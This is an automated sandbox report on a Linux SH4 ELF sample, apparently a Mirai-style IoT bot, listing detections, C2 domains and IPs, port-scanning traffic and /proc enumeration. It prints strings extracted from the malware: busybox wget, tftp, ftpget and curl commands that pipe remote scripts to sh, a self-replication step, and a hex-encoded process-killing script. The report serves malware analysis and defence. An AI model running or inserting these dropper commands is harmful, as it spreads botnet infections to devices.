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Linux Analysis Report
nabsh4.elf

Overview

General Information

Sample name:	nabsh4.elf
Analysis ID:	1580190
MD5:	75e68696538913214d3dc59383ac2390
SHA1:	dfe97bf9e1240d7bece68cfd286f1b3ba307f526
SHA256:	1181827561b5697c55bd17665bdc94cff6d32e9bfeda14feffedaf2e864e5f6d
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580190
Start date and time:	2024-12-24 04:00:43 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabsh4.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/140@11/0

Runtime Messages

Command:	/tmp/nabsh4.elf
PID:	6255
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

nabsh4.elf (PID: 6255, Parent: 6167, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/nabsh4.elf

nabsh4.elf New Fork (PID: 6257, Parent: 6255)

nabsh4.elf New Fork (PID: 6259, Parent: 6257)

nabsh4.elf New Fork (PID: 6261, Parent: 6257)

nabsh4.elf New Fork (PID: 6262, Parent: 6257)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: nabsh4.elf

ReversingLabs: Detection: 34%

Source: nabsh4.elf

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: global traffic	TCP traffic: 154.216.16.244 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.216.16.250 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.23:54852 -> 154.216.16.244:38241
Source: global traffic	TCP traffic: 192.168.2.23:37078 -> 154.216.16.250:38241

Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443

Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 173.218.123.44
Source: unknown	TCP traffic detected without corresponding DNS query: 27.165.145.211
Source: unknown	TCP traffic detected without corresponding DNS query: 92.224.222.238
Source: unknown	TCP traffic detected without corresponding DNS query: 143.23.147.22
Source: unknown	TCP traffic detected without corresponding DNS query: 17.189.1.21
Source: unknown	TCP traffic detected without corresponding DNS query: 38.249.137.191
Source: unknown	TCP traffic detected without corresponding DNS query: 138.178.139.160
Source: unknown	TCP traffic detected without corresponding DNS query: 133.75.22.244
Source: unknown	TCP traffic detected without corresponding DNS query: 208.0.2.54
Source: unknown	TCP traffic detected without corresponding DNS query: 185.221.45.207
Source: unknown	TCP traffic detected without corresponding DNS query: 123.195.149.109
Source: unknown	TCP traffic detected without corresponding DNS query: 112.70.22.172
Source: unknown	TCP traffic detected without corresponding DNS query: 204.255.179.171
Source: unknown	TCP traffic detected without corresponding DNS query: 33.55.130.185
Source: unknown	TCP traffic detected without corresponding DNS query: 130.99.103.47
Source: unknown	TCP traffic detected without corresponding DNS query: 195.128.28.190
Source: unknown	TCP traffic detected without corresponding DNS query: 3.181.199.229
Source: unknown	TCP traffic detected without corresponding DNS query: 47.211.53.176
Source: unknown	TCP traffic detected without corresponding DNS query: 31.212.241.88
Source: unknown	TCP traffic detected without corresponding DNS query: 92.139.178.97
Source: unknown	TCP traffic detected without corresponding DNS query: 173.218.123.44
Source: unknown	TCP traffic detected without corresponding DNS query: 27.165.145.211
Source: unknown	TCP traffic detected without corresponding DNS query: 92.224.222.238
Source: unknown	TCP traffic detected without corresponding DNS query: 143.23.147.22
Source: unknown	TCP traffic detected without corresponding DNS query: 17.189.1.21
Source: unknown	TCP traffic detected without corresponding DNS query: 38.249.137.191
Source: unknown	TCP traffic detected without corresponding DNS query: 138.178.139.160
Source: unknown	TCP traffic detected without corresponding DNS query: 133.75.22.244
Source: unknown	TCP traffic detected without corresponding DNS query: 208.0.2.54
Source: unknown	TCP traffic detected without corresponding DNS query: 185.221.45.207
Source: unknown	TCP traffic detected without corresponding DNS query: 123.195.149.109
Source: unknown	TCP traffic detected without corresponding DNS query: 112.70.22.172
Source: unknown	TCP traffic detected without corresponding DNS query: 204.255.179.171
Source: unknown	TCP traffic detected without corresponding DNS query: 33.55.130.185
Source: unknown	TCP traffic detected without corresponding DNS query: 130.99.103.47
Source: unknown	TCP traffic detected without corresponding DNS query: 195.128.28.190
Source: unknown	TCP traffic detected without corresponding DNS query: 3.181.199.229
Source: unknown	TCP traffic detected without corresponding DNS query: 47.211.53.176
Source: unknown	TCP traffic detected without corresponding DNS query: 31.212.241.88
Source: unknown	TCP traffic detected without corresponding DNS query: 92.139.178.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 173.218.123.44
Source: unknown	TCP traffic detected without corresponding DNS query: 27.165.145.211
Source: unknown	TCP traffic detected without corresponding DNS query: 92.224.222.238
Source: unknown	TCP traffic detected without corresponding DNS query: 143.23.147.22
Source: unknown	TCP traffic detected without corresponding DNS query: 17.189.1.21
Source: unknown	TCP traffic detected without corresponding DNS query: 138.178.139.160
Source: unknown	TCP traffic detected without corresponding DNS query: 38.249.137.191

Source: global traffic	DNS traffic detected: DNS query: serisbot.geek
Source: global traffic	DNS traffic detected: DNS query: serisontop.dyn
Source: global traffic	DNS traffic detected: DNS query: serisbot.geek. [malformed]

Source: nabsh4.elf	String found in binary or memory: http:///curl.sh
Source: nabsh4.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D

Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6285/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6285/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6285/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6285/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6284/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6284/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6284/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6284/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6276/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6276/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6276/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6276/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6287/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6287/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6287/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6287/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6275/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6275/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6286/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6286/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6286/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6286/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6278/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6278/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6278/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6278/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6289/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6289/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6289/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6289/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6344/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6344/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6277/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6277/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6277/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6277/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6288/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6288/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6288/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6288/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6279/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6279/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6279/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6279/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6290/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6290/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6290/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6290/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6281/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6281/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6281/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6281/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6292/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6292/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6292/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6292/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6280/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6280/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6280/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6280/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6291/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6291/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6291/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6291/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6283/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6283/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6283/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6283/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6282/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6282/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6282/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6282/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6326/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6326/cmdline	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6336/maps	Jump to behavior
Source: /tmp/nabsh4.elf (PID: 6261)	File opened: /proc/6336/cmdline	Jump to behavior

Source: nabsh4.elf, 6255.1.00007ffc666be000.00007ffc666df000.rw-.sdmp, nabsh4.elf, 6259.1.00007ffc666be000.00007ffc666df000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: nabsh4.elf, 6255.1.00007ffc666be000.00007ffc666df000.rw-.sdmp, nabsh4.elf, 6259.1.00007ffc666be000.00007ffc666df000.rw-.sdmp	Binary or memory string: `<x86_64/usr/bin/qemu-sh4/tmp/nabsh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabsh4.elf
Source: nabsh4.elf, 6255.1.000055d6fb6d2000.000055d6fb735000.rw-.sdmp, nabsh4.elf, 6259.1.000055d6fb6d2000.000055d6fb735000.rw-.sdmp	Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: nabsh4.elf, 6255.1.000055d6fb6d2000.000055d6fb735000.rw-.sdmp, nabsh4.elf, 6259.1.000055d6fb6d2000.000055d6fb735000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabsh4.elf	false		high
http:///curl.sh	nabsh4.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
166.69.96.193	unknown	United States	19773	MOTOROLAUS	false
18.133.174.143	unknown	United States	16509	AMAZON-02US	false
130.99.103.47	unknown	United States	203	CENTURYLINK-LEGACY-LVLT-203US	false
157.104.86.118	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
178.72.134.129	unknown	Armenia	47975	KT-AS-47975AM	false
110.121.124.58	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
47.240.78.242	unknown	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
64.55.59.255	unknown	United States	2828	XO-AS15US	false
171.41.144.124	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
197.133.206.108	unknown	Egypt	24835	RAYA-ASEG	false
106.203.122.163	unknown	India	45609	BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService	false
28.89.230.211	unknown	United States	7922	COMCAST-7922US	false
64.156.211.8	unknown	United States	21581	M5HOSTINGUS	false
44.172.196.44	unknown	United States	20473	AS-CHOOPAUS	false
79.24.244.223	unknown	Italy	3269	ASN-IBSNAZIT	false
9.53.76.112	unknown	United States	3356	LEVEL3US	false
126.54.194.118	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
183.7.202.13	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
102.160.139.159	unknown	Mauritius	30999	EMTEL-AS-APMU	false
148.177.42.13	unknown	United States	13778	JOHNSON-AND-JOHNSONUS	false
66.126.238.107	unknown	United States	7132	SBIS-ASUS	false
152.177.5.45	unknown	United States	701	UUNETUS	false
111.171.24.14	unknown	Korea Republic of	38109	TCNINTERNET-AS-KRTBroadKR	false
156.192.32.204	unknown	Egypt	8452	TE-ASTE-ASEG	false
154.216.16.244	serisontop.dyn	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	false
106.143.153.187	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
111.242.167.212	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
11.128.84.9	unknown	United States	3356	LEVEL3US	false
88.250.241.204	unknown	Turkey	9121	TTNETTR	false
118.72.141.222	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
221.101.157.110	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
175.22.111.211	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
99.233.210.206	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false
183.131.64.76	unknown	China	136190	CHINATELECOM-ZHEJIANG-JINHUA-IDCJINHUAZHEJIANGProvince	false
54.69.45.140	unknown	United States	16509	AMAZON-02US	false
145.191.117.201	unknown	Netherlands	59524	KPN-IAASNL	false
31.212.241.88	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
48.105.172.24	unknown	United States	2686	ATGS-MMD-ASUS	false
85.108.102.117	unknown	Turkey	9121	TTNETTR	false
79.99.35.140	unknown	France	8426	CLARANET-ASClaraNETLTDGB	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
154.216.16.244	nabmpsl.elf	Get hash	malicious	Unknown	Browse
	nabmips.elf	Get hash	malicious	Unknown	Browse
	zerspc.elf	Get hash	malicious	Unknown	Browse
	zerarm.elf	Get hash	malicious	Unknown	Browse
	zerx86.elf	Get hash	malicious	Unknown	Browse

Name	IP	Active	Malicious	Reputation
serisontop.dyn	154.216.16.244	true	false	high
serisbot.geek	154.216.16.250	true	false	high
serisbot.geek. [malformed]	unknown	unknown	false	high

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
serisbot.geek	splmpsl.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	splppc.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	arm7.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
serisontop.dyn	nklm68k.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	splmpsl.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	nabmips.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	splppc.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	jklx86.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	arm.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	jklmips.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	zerspc.elf	Get hash	malicious	Unknown	Browse	209.38.192.73

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MOTOROLAUS	ppc.elf	Get hash	malicious	Mirai	Browse	136.182.189.71
	jew.mpsl.elf	Get hash	malicious	Unknown	Browse	136.182.190.18
	rebirth.sh4.elf	Get hash	malicious	Mirai, Okiru	Browse	136.182.190.80
	rebirth.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	136.182.101.171
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	129.189.218.243
	jew.ppc.elf	Get hash	malicious	Unknown	Browse	136.182.190.23
	main_mips.elf	Get hash	malicious	Mirai	Browse	136.182.59.8
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	131.197.64.179
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	131.197.167.102
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	166.69.73.85
AMAZON-02US	nklm68k.elf	Get hash	malicious	Unknown	Browse	52.212.6.65
	splmpsl.elf	Get hash	malicious	Unknown	Browse	3.189.74.59
	nabmips.elf	Get hash	malicious	Unknown	Browse	13.210.193.47
	splppc.elf	Get hash	malicious	Unknown	Browse	3.141.14.106
	arm7.elf	Get hash	malicious	Unknown	Browse	13.52.85.241
	jklx86.elf	Get hash	malicious	Unknown	Browse	3.172.241.81
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	54.127.50.220
	arm.elf	Get hash	malicious	Unknown	Browse	54.119.141.95
	jklmips.elf	Get hash	malicious	Unknown	Browse	54.238.151.243
	splx86.elf	Get hash	malicious	Unknown	Browse	54.99.230.220
CENTURYLINK-LEGACY-LVLT-203US	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	130.99.1.125
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	169.14.0.27
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	169.7.78.173
	nshkmips.elf	Get hash	malicious	Mirai	Browse	169.11.83.211
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	169.14.127.158
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	143.122.0.118
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	165.153.121.64
	2.elf	Get hash	malicious	Unknown	Browse	169.9.115.25
	3.elf	Get hash	malicious	Unknown	Browse	169.15.171.121
	loligang.arm.elf	Get hash	malicious	Mirai	Browse	169.15.2.55

Process:	/tmp/nabsh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.184658546849887
Encrypted:	false
SSDEEP:	6:URGPdDF6V/O3j/VC5sDFiVtGz/Vx/1BCY/VDM/V+4D/VH:I+o2tw+7/LRMfF
MD5:	7467B22E0825500672B238E405253CE8
SHA1:	60A421B7084820ECC381352ABF4EC749190F4D31
SHA-256:	910FCC7B258D11EA7985C924DC9FAE94F1B224F8A832C1ACE356019D2C1DE1CF
SHA-512:	4FAC8F9E82DE4CADF117B57D42078F0A18CD95642169417EC1ED3B29D27BAC6F0B6608BF3659C01FA00C9F93243108835D714ABE5730DA3BC24E319A8F1937DA
Malicious:	false
Reputation:	low
Preview:	400000-409000 r-xp 00000000 fd:00 531606 /tmp/..419000-41a000 rw-p 00009000 fd:00 531606 /tmp/..41a000-41c000 rw-p 00000000 00:00 0 .41c000-41d000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.631811604461349
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabsh4.elf
File size:	37'736 bytes
MD5:	75e68696538913214d3dc59383ac2390
SHA1:	dfe97bf9e1240d7bece68cfd286f1b3ba307f526
SHA256:	1181827561b5697c55bd17665bdc94cff6d32e9bfeda14feffedaf2e864e5f6d
SHA512:	c029c860264f57c1a6c0b4787099710dfc8cab292510be0c8ff2c543139b4d4c906f67b3aa4a9baa8db09bfc661bf25b7f61419ad7892472b196e4c8451105ad
SSDEEP:	768:uaieUReGJZWlyUaL8WEVjU0C8U5NEo/oknBCUdT3bsRd:ua3kpJ4ly77E9U0A5NEByBCUdT3bsR
TLSH:	48036C62C8689E99D61C5270B9308A799717E610E7C6AFFB1516C5E8C043ECCF60E7F8
